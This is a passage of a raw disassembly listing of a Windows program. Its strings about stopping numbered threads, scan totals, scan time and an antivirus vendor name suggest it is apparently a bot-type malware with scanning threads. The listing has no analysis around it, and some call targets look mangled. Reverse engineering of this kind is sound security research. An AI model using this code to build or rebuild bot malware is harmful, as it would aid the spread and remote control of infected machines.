234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 26A0E69h cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h db 2Eh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx call near ptr 2680000h nop mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx nop call near ptr 26905D4h mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h nop call near ptr 2690579h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2690CE2h push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2680000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx nop call near ptr 26905D4h mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2690579h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj nop call near ptr 2690CE2h push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx nop call near ptr 26905D4h mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 2690579h nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej nop call near ptr 2690CE2h push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx call near ptr 2680000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx call near ptr 26905D4h nop mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 2690579h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j call near ptr 2690CE2h nop push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, 